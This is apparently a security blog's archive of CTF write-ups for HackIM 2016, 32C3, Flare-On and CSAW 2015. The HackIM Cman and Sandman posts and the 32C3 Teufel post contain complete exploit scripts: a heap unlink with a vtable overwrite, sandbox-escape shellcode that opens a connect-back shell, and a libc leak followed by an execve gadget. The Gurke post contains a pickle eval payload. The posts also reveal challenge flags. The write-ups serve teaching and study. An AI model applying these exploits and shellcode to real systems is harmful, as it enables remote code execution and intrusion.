Wednesday, February 3, 2016

HackIM CTF 2016 - Exploitation 300 - Cman

Cman is a 64 bit statically linked and stripped ELF without NX protection. I used IDA's sigmake to generate libc signatures for this binary. The program is a contact manager providing options to add, delete, edit contacts etc.

Function @00000000004021CA reads option from user and calls the necessary functions:
A = ADD_CONTACT@00000000004019B4
D = DELETE_CONTACT@0000000000401C0D
E = EDIT_CONTACT@0000000000401EBD
X = EXIT@000000000040105E
L = LIST_CONTACT@00000000004016E2
S = MANAGE_CONTACT@0000000000401F2D
MANAGE_CONTACT provides many other options
d - delete 
e - edit
p - previous
n - next
q - quit
s - show
Contacts are saved in structures connected using doubly linked list data strucure. Below is the structure being used:
struct contact {
 char fname[64];
 char lname[64];
 char phone[14];
 char header[4];
 char gender[1];
 char unused[1];
 char cookie[4];
 long int empty;
 struct contact *prev;
 struct contact *next; 
};
The pointer @00000000006C3D58 points to head of doubly linked list. This turned out to be useful for exploitation. The program performs two initialization operations - setup a cookie value and add couple of contacts to the manager.

Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
char cookie[4];
secs = time(0);
_srandom(secs);

for (count = 0; count < sz; count++) {
    cookie[count] = rand();
}
cookie |= 0x80402010
Analyzing the function @0000000000401C5E used for editing a contact, I found a bug.
write("New last name: ");
read(&user_input, 64, 0xA);
......
write("New phone number: ");
read(&user_input, 14, 0xA); // fill the entire 14 bytes so that there is no NUL termination
    
if (user_input) {
   memset(object + 128, 0, 16);
   sz = strlen(&user_input);
   if ( sz > 16 ) sz = 64; // size becomes > 16 as strlen computes length on non-NUL terminated string from last name
   memcpy(object + 128, &user_input, sz); // overflows entries in chunk and corrupts heap meta data
}
Everytime the contact is edited, the cookie value in structure is checked for corruption:
if ( *(object + 148) != COOKIE ) {
    IO_puts("** Corruption detected. **");
    exit(-1);
}
To exploit this bug and overwrite the prev and next pointers of structure, cookie check needs to be bypassed. Note that cookie is generated based on current time as time(0). Checking the remote server time as below, I found that the epoch time is same as mine [Time=56ACC320].
nmap -sV 52.72.171.221 -p 22
SF-Port22-TCP:V=6.40%I=7%D=1/30%Time=56ACC320%P=x86_64-pc-linux-gnu%r(NULL
SF:,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.4\r\n"); 
So cookie value can be found by guessing the time, thus overflowing the prev and next pointers. Then doubly linked list delete operation can be triggered to get a write-anything-anywhere primitive. Since the binary is statically linked, one cannot target GOT entries as we do normally. So I started looking for other data structures in binary

_IO_puts was making the below call:
.text:0000000000409FF7 mov     rax, [rdi+0D8h]
.text:0000000000409FFE mov     rdx, rbp
.text:000000000040A001 mov     rsi, r12
.text:000000000040A004 call    qword ptr [rax+38h] 
This code is coming as part of call to _IO_sputn (_IO_stdout, str, len). RDI points to struct _IO_FILE_plus(_IO_stdout) in .data segment, which holds pointer to struct _IO_jump_t
struct _IO_FILE_plus
{
    _IO_FILE file;
    const struct _IO_jump_t *vtable;
};

struct _IO_jump_t
{
    JUMP_FIELD(_G_size_t, __dummy);
    #ifdef _G_USING_THUNKS
        JUMP_FIELD(_G_size_t, __dummy2);
    #endif
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);  // this gets called
So the idea here is to overwrite the vtable pointer with address of contact_head_ptr(.bss) - 0x38. So call qword ptr [rax+38h] will land in contact[0].fname thus directly bypassing ASLR to execute shellcode.

Note that, function checking for valid names, checks only the first character
bool check_name(char *name) {
  return *name > '@' && *name <= 'Z';
}
Below is the full exploit:
#!/usr/bin/env python

from pwn import *
import ctypes
import random

HOST = '52.72.171.221'
HOST = '127.0.0.1'
PORT = 9983
context.arch = 'x86_64'

libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

def get_local_time(): return libc.time(0)

def get_cookie(time):
    libc.srandom(time)
    cookie = 0
    for x in range(4):
        random  = libc.rand() & 0xff
        cookie |= (random << (8 * x))
    cookie |= 0x80402010
    return p32(cookie)

def add_node(soc, fname, lname, number, gender):
    soc.sendline("A")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.sendlineafter("Phone Number: ", number)
    soc.sendlineafter("Gender: ", gender)

def edit_node(soc, fname, lname, new_fname, new_lname, new_number, new_gender):
    soc.sendline("E")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)
    soc.recvline()
    soc.sendlineafter("New first name: ", new_fname)
    soc.sendlineafter("New last name: ", new_lname)
    soc.sendlineafter("New phone number: ", new_number)
    soc.sendlineafter("New gender: ", new_gender)

def delete_node(soc, fname, lname):
    soc.sendline("D")
    soc.sendlineafter("First: ", fname)
    soc.sendlineafter("Last: ", lname)

while True:
    local_time = get_local_time()
    cookie = get_cookie(local_time + random.randint(0,5))
    soc = remote(HOST, PORT)
    soc.recvline()

    # edit already existing node to add shellcode
    fname = "Robert"
    lname = "Morris"
    new_fname  = "P" + asm(shellcraft.amd64.linux.sh())
    new_lname  = lname
    new_number = "(123)123-1111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    # create a new node to overflow
    fname = "A"*8
    lname = fname 
    number = "(123)123-1111"
    add_node(soc, fname, lname, number, 'M')

    # overflow node
    new_fname = fname
    head_ptr = 0x6C3D58
    prev_ptr = p64(head_ptr - 0x38)
    
    # _IO_puts calls _IO_sputn
    # .text:0000000000409FF7 mov     rax, [rdi+0D8h]
    # .text:0000000000409FFE mov     rdx, rbp
    # .text:000000000040A001 mov     rsi, r12
    # .text:000000000040A004 call    qword ptr [rax+38h]
    # RDI points to struct _IO_FILE_plus(_IO_stdout), which holds pointer to struct _IO_jump_t
    # overwrite pointer to _IO_jump_t with address of head node ptr-0x38 

    IO_FILE_plus = 0x6C2498
    next_ptr = p64(IO_FILE_plus - 0xA0)
    chunk_sz = p64(0xC1)[:-1]

    new_lname = "C"*20 + cookie + p64(0) + prev_ptr + next_ptr + p64(0) + chunk_sz
    new_number = "(123)123-11111"
    edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M')

    res = soc.recvline().strip()
    if res == "** Corruption detected. **": soc.close()
    else: break

print "[+] Found Cookie : %x" % u32(cookie)

# trigger overwrite due to linked list operation
delete_node(soc, fname, lname)

print "[+] Getting shell"
soc.interactive()

# flag-{h34pp1es-g3771ng-th3r3}

HackIM CTF 2016 - Exploitation 200 - Sandman

sandman is a 64 bit ELF without much memory protections
$ checksec --file ./sandman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ./sandman
sandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.

Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.

The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
len = strlen((user_input + 7));
strncpy(&dest, (user_input + 7), len);
So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
#!/usr/bin/env python

from pwn import *

HOST = "52.72.171.221"
HOST = "127.0.0.1"
PORT = 9982
conn = remote(HOST, PORT)
context.arch = 'x86_64'

sc  = shellcraft.amd64.linux.syscall('SYS_alarm', 0) 
sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345) 
sc += shellcraft.amd64.linux.dupsh()
sc  = asm(sc)

def gen_payload(sc):
    # pad for QWORDs
    sc += asm("nop") * (8 - (len(sc) % 8))
    payload = ''
    # generate mov rbx, QWORD; push rbx; sequence
    for i in range(0, len(sc), 8):
        qword = u64(sc[i:i+8])
        payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload
    return payload, len(sc)/8

pipe = 0x5
pipe = 0x4

size = p32(8092)
conn.send(size)

# send choice
shellcode  = asm("push 0xe")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1))

# send size
shellcode += asm("push 0x1000")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4))

# prepare payload for buffer overflow
# new line
shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a")
shellcode += asm("push rbx")

# padding for 4096 bytes
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 440

# RIP overwrite + ASLR bypass
shellcode += asm("mov rbx, rsp")
shellcode += asm("add rbx, 0xb20")
shellcode += asm("shr rbx, 0x8")
shellcode += asm("push rbx")

# last byte of address
shellcode += asm("mov rbx, 0xffffffffffffffff")
shellcode += asm("push rbx")

# fill buffer
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 5

# connect back shellcode
execve, qwords = gen_payload(sc)
shellcode += execve

# NOPs
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * (63 - qwords)

# HTTP header
shellcode += asm("mov rbx, 0x902f2f3a70747468")
shellcode += asm("push rbx")

# write payload
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000))

# exit
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0))

shellcode += asm("nop") * (8091 - len(shellcode))
conn.send(shellcode + chr(0xa))

# flag-{br3k1ng-b4d-s4ndm4n}

Thursday, December 31, 2015

32C3 CTF - Pwn 200 - Teufel

The binary allocates memory using mmap as below:
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov     edi, 0          ; fd
.text:00000000004004F3 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004F7 mov     edx, 8          ; nbytes
.text:00000000004004FC call    _read

.text:0000000000400507 mov     edi, 0          ; fd
.text:000000000040050C lea     rsi, [rbp+buf]  ; buf
.text:0000000000400510 mov     rdx, [rbp+buf]  ; nbytes
.text:0000000000400514 call    _read
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea     rdi, [rbp+buf]  ; s
.text:0000000000400523 call    _puts
Below is the idea for info leak to get mmap and libc address:

[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution

Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950:                              ; CODE XREF: sub_F6260+661
.text:00000000000F6950                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F6957                 jmp     short loc_F6911

.text:00000000000F6911 loc_F6911:                              ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911                 mov     rdx, [rbp+var_F8]
.text:00000000000F6918                 mov     rsi, r8
.text:00000000000F691B                 call    execve
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

# from the provided libc
offset_exit = 0x00000000000cafe0

got_exit = 0x00600FD0

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

# get address of libc
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call
soc.send(payload)

soc.recv(128)
libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)

libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)

mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

offset_libc_base = 0x5ea000
offset_execve = 0x0F6950

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve

# get shell
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)
soc.send(payload)
soc.recv(16)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
# 32C3_mov_pop_ret_repeat
Flag for the challenge is 32C3_mov_pop_ret_repeat

32C3 CTF - Misc 300 - Gurke

This challenge is about python pickle. The remote script fetches the flag as below:
class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
  
flag = Flag()
Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload
class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('__main__').flag.flag",))

sploit = pickle.dumps(payload())
Flag for the challenge is 32c3_rooDahPaeR3JaibahYeigoong

Thursday, October 22, 2015

FireEye Second Flare-On Reversing Challenges

My solutions for Flare-On reversing challenges is here

FireEye published some statistics in there blog
- Official Solutions and Winner Statistics
- Announcing the Second FLARE On Challenge

And this is what I got as prize from FLARE team

Wednesday, September 23, 2015

CSAW CTF - RE500 - wyvern

We got a 64-bit ELF for this challenge. Running strings shows the use of Obfuscator-LLVM
Obfuscator-LLVM clang version 3.6.1 (tags/RELEASE_361/final) (based on Obfuscator-LLVM 3.6.1)
The binary expects a valid key!
$ ./wyvern_c85f1be480808a9da350faaa6104a19b 
+-----------------------+
|    Welcome Hero       |
+-----------------------+

[!] Quest: there is a dragon prowling the domain.
 brute strength and magic is our only hope. Test your skill.

Enter the dragon's secret:
For further analysis, I used PIN based tracer. First objective was to find the length. Supplying an input of 100 bytes, the CMP instruction was found using PIN
0x4046b6 : cmp rax, rcx
0x4046b6 : [0x64] [0x1c]
The length of key is 28 bytes. Now lets see if we could find the algorithm by tracking user input using PIN tool. Supplying input as BAAAAAAAAAAAAAAAAAAAAAAAAAAA, below instructions were found:
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0] := [0x42]      -> input B
--
0x402a7f : cmp eax, ecx
0x402a7f : [0x64] [0x42]      -> compared with 0x64
Now supplying input as dBAAAAAAAAAAAAAAAAAAAAAAAAAA
0x4017e8 : add ecx, dword ptr [rax]
0x4017e8 : [0x42] [0x64] := [0xa5]   -> input A and 0x64 from previous operation
--
0x402a7f : cmp eax, ecx       
0x402a7f : [0xd6] [0xa5]
So the algorithm reads each byte of user input, compares with a hard coded array, which is a sum input and previous result
0x00 + input[0] == 0x64
0x64 + input[1] == 0xd6
.....
Lets fetch the array using GDB by setting breakpoint at 0x402a7f, and compute the flag
import gdb

sum_array = [0]
def exit_handler(event):
    key = ''
    for i in range(len(sum_array)-1):
        key += chr(sum_array[i+1] - sum_array[i]) 
    print key
    
def callback_fetch_array():
    EAX = int(gdb.parse_and_eval("$eax"))
    sum_array.append(EAX)
    gdb.execute("set $ecx = $eax")

class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False)
        self.callback = callback
        
    def stop(self):
        self.callback()
        return False

HitBreakpoint("*0x402a7f", callback_fetch_array) 
gdb.events.exited.connect(exit_handler)
$ gdb -q ./wyvern_c85f1be480808a9da350faaa6104a19b

gdb-peda$ source re500.py
Breakpoint 1 at 0x402a7f

gdb-peda$ run
Enter the dragon's secret: AAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] A great success! Here is a flag{AAAAAAAAAAAAAAAAAAAAAAAAAAAA}
[Inferior 1 (process 33655) exited normally]
dr4g0n_or_p4tric1an_it5_LLVM
So the key is dr4g0n_or_p4tric1an_it5_LLVM

CSAW CTF - RE300 - FTP

The challenge binary is a 64 bit executable. The objective was to login as user blankwall by finding the password. The supplied password is processed using a hash function at 0x00401540. Below is the decompiled code of the function:
uint32_t calc_hash(char *input)
{
  int counter; 
  uint32_t state; 

  state = 5381;
  for (counter = 0; input[counter]; ++counter)
    state = 33 * state + input[counter];
  return state;
}
The output of this function must be equal to 0x0D386D209. The length of the password is not known and state variable is 32-bit, hence modulo 0xffffffff. I used Z3 to solve this and multiple solutions are possible. Below is the solver:
#!/usr/bin/env python

from z3 import * 

# >>> (0x1505 * 0x21 * 0x21 * 0x21) < 0xD386D209
# True
# minimum length of password
passlen = 4

def init_solver(passlen):
    s = Solver()
    vectors = {}
    for c in range(passlen):
        vec = BitVec(str(c), 8)
        vectors[c] = vec
        s.add(And(0x20 < vec, vec < 0x7F))
    return s, vectors

while True:
    s, vectors = init_solver(passlen)
    state = 0x1505 
    for i in range(passlen):
        vec = ZeroExt(24, vectors[i])
        state = state * 0x21 + vec
    s.add(state == 0xD386D209)

    if s.check() == sat: break
    passlen += 1

m = s.model()
c = lambda m, i: chr(m[vectors[i]].as_long())
print ''.join([c(m,i) for i in range(passlen)])
This gives the password UIcy1y. Login using the password as
con.write('USER blankwall' + chr(0xa))
password = 'PASS UIcy1y\x00' + chr(0xa)
con.write(password)
The file re_solution had the flag, flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}